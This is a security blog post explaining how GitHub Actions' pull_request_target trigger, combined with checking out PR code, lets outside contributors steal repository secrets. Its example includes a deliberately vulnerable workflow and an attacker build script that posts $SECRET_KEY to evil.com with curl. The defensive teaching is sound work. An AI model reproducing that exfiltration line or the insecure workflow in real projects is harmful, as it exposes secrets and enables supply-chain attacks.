You are currently viewing How Attackers Exploit pull_request_target: Secure Your GitHub CI/CD Workflows

How Attackers Exploit pull_request_target: Secure Your GitHub CI/CD Workflows

GitHub Actions is powerful—but with great power comes… a long list of workflow security pitfalls.

If you’ve spent any time around GitHub Actions, you’ve probably seen people casually using pull_request_target without fully understanding what it does. And honestly, that’s where most of the security issues begin.

I’m Shreya Pohekar, and I work as a Security Researcher at Microsoft. Over the years of working closely with CI/CD systems and developer workflows, I’ve noticed that many teams understand how to build automation, but often miss the subtle differences in how GitHub workflow triggers behave and what permissions they carry. These small misunderstandings are usually what lead to bigger security gaps.

This blog is my attempt to break down the difference between pull_request and pull_request_target in a simple, human way—and explain why a specific combination (pull_request_target + actions/checkout) is essentially an open door for attackers.

Let’s dive in.


1. The Real Difference (Explained Simply)

pull_request

Think of this as the “safe mode” for CI pipelines.

It triggers whenever:

  • Someone opens a PR
  • Pushes changes to it
  • Updates or synchronizes it

And the most important part:

The workflow runs on the contributor’s PR code, but it never has access to repository secrets.

This makes pull_request ideal for:

  • Tests
  • Linting
  • Static analysis
  • Building preview artifacts
  • Any pipeline involving untrusted contributors

It is designed to safely run code from outside the organization.


pull_request_target

This event is trickier and often misunderstood.

It triggers on the same PR events, but the behavior is very different:

  • The workflow file is taken from the default branch, not the PR branch.
  • Secrets and elevated permissions are available.
  • The environment behaves as if the workflow was triggered internally.

GitHub created this event for automation around PR metadata:

  • Labeling PRs
  • Auto-assigning reviewers
  • Commenting on PRs

When used correctly, it’s safe. When misused, it’s dangerous.


2. Why pull_request_target Becomes Dangerous (Especially With Checkout)

This is where most real-life vulnerabilities show up.

People often write workflows like this:

on: pull_request_target

steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}

This means:

  • The workflow has secrets
  • It checks out attacker-controlled code from the PR branch
  • And it executes that untrusted code in a privileged environment

At this point, the attacker effectively controls your CI environment, with access to:

  • Secrets
  • GitHub tokens
  • Repository write permissions
  • Deployment keys

This is exactly how supply-chain attacks begin.


3. What an Attack Looks Like in Practice

Suppose you use pull_request_target to build preview artifacts for PRs:

on: pull_request_target

jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - run: npm install
      - run: npm run build

An attacker submits a PR containing the following in their package.json:

{
  "scripts": {
    "build": "curl -X POST -d \"$SECRET_KEY\" https://evil.com"
  }
}

You do nothing.
You don’t merge the PR.
You don’t even review it.

Your workflow:

  1. Triggers automatically
  2. Has access to secrets
  3. Checks out the attacker’s branch
  4. Runs their malicious build script
  5. Exfiltrates your secrets

The attacker wins simply by opening a PR

4. When You Should Actually Use pull_request_target

Use it only for workflows that interact with PR metadata, not PR code.

Safe use cases:

  • Labeling PRs
  • Assigning reviewers
  • Commenting on PRs
  • Running bots that do not touch user-submitted code

Unsafe use cases:

  • Building the PR
  • Running tests on PR code
  • Installing dependencies
  • Deploying anything
  • Generating artifacts
  • Running scripts from the PR branch

If the workflow interacts with code, use pull_request.


5. The Safe Setup

To safely run CI on untrusted PRs:

on: pull_request

permissions:
  contents: read

This ensures:

  • No secrets are available
  • Permissions are minimal
  • PR code runs in an isolated environment

Final Thoughts

pull_request_target is not the enemy.
The problem is mixing privileged workflows with untrusted code.

When you combine:

  • A workflow triggered by pull_request_target
  • With a checkout of the PR branch
  • And secrets or write permissions

You unintentionally hand full access to anyone who can open a PR.

If you rely on GitHub Actions, especially in open-source or collaborative environments, it’s worth taking a moment to audit your workflows and ensure you’re not exposing yourself to this class of vulnerabilities.

shreyapohekar

I’m Shreya Pohekar, a Security Researcher at Microsoft. I’m passionate about breaking down complex security concepts into simple, relatable stories and sharing my journey through blogging. Writing helps me connect with others in the community, inspire aspiring security professionals, and reflect on the lessons I pick up along the way.

Leave a Reply